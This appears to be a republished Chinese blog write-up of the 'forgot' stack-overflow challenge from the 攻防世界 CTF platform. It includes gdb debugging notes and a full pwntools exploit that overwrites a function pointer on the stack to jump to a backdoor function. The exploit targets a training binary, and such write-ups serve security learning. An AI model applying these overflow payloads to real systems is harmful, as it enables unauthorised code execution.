其他分享
首页 > 其他分享> > 《攻防世界》forgot栈空间题

《攻防世界》forgot栈空间题

作者:互联网

哈哈哈,讲下这题的思路,拿到题目又是一大堆的字符串显示在控制台上,本想着又是一道逻辑题,披着逆向算法的外套,害,没办法继续分析

前面输入name用了fgets函数但是限制输入长度了,所以直接忽略,然后就是输入一个数对其进行简单的小算法了,我显示分析了一波算法,然后根据出题人的提示说这个,但是我好像还是摸不清题目的漏洞在哪里,就一直摸摸摸,先是简单的看了下全局伪代码,加上程序运行状况,发现你输入的数就算是通过了9层判断条件好像也是一样的打印一些字符串

在这里插入图片描述

这十个函数里面都是一样的没什么区别

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2bC7XCZd-1637048344211)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211116143753691.png)]

然后出题人那个提示我也不知道有什么关系,可能是我太菜了,没有找到题目真正的考点吧。。。发现程序没有什么特别之处,就直接进行溢出了

编写溢出payload代码

z('b *0x8048a61')
sla('> ','admin')
payload =   b'a'*0x74 + b'a' * 4 + p32(0x80486CC)
sla('> ',payload)

运行后发现程序在这个地方卡住了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VZpwFYHo-1637048344212)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211116145723577.png)]

看了下这时候的栈发现实际情况少填充了4位

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YSPwh9bx-1637048344213)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211116145858096.png)]

但是我添加了4位数据后,程序依旧卡死在这个地方了,然后我就在这个地方下断点看看正常情况下这里的数据是什么

修改后payload

z('b *0x8048a61')
sla('> ','admin')
payload =   b'aaaa'
sla('> ',payload)
p.interactive()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Yqcb1dkR-1637048344215)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211116150151492.png)]

发现它call了0x8048618,然后就跳转到这个地址了,上面一行发现这个值就是从栈里面取得,那么看看栈

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-peTEq2oU-1637048344216)(C:\Users\54622\AppData\Roaming\Typora\typora-user-images\image-20211116153402998.png)]

这里不就是那十个变量的位置吗,那么根据ida得出相对距离,对刚才0x8048618地址进行覆盖成后门函数的地址

z('b *0x8048a61')
sla('> ','admin')
payload =   b'a' * (0x78-0x54) + p32(0x80486CC)

ok获取flag

最终payload

from pwn import *
from LibcSearcher import *

context (log_level = 'debug' ,bits=32 ,os = 'linux' ,arch = 'i386' ,terminal = ['tmux' , 'splitw', '-h'])
#context (log_level = 'debug' ,bits= 32,os = 'linux' ,arch = 'i386' ,terminal = ['gnome-terminal' , '-x','sh', '-c'])


# Interface
local = 1
binary_name = "forgot"
ip = "111.200.241.244"
port = 52418

if local:
        p = process(["./" + binary_name])
        e = ELF("./" + binary_name)
        # libc = e.libc
else:
        p = remote(ip, port)
        e = ELF("./" + binary_name)
        # libc = ELF("libc-2.23.so")


def z(a=''):
        if local:
                gdb.attach(p, a)
                if a == '':
                        raw_input()
        else:
                pass

ru = lambda x: p.recvuntil(x)
rc = lambda x: p.recv(x)
sl = lambda x: p.sendline(x)
sd = lambda x: p.send(x)
sla = lambda delim, data: p.sendlineafter(delim, data)

z('b *0x8048a61')
sla('> ','admin')
payload =   b'a' * (0x78-0x54) + p32(0x80486CC)
sla('> ',payload)

p.interactive()

标签:攻防,name,admin,payload,forgot,空间,0x8048a61,sla,lambda
来源: https://blog.csdn.net/csdn546229768/article/details/121357548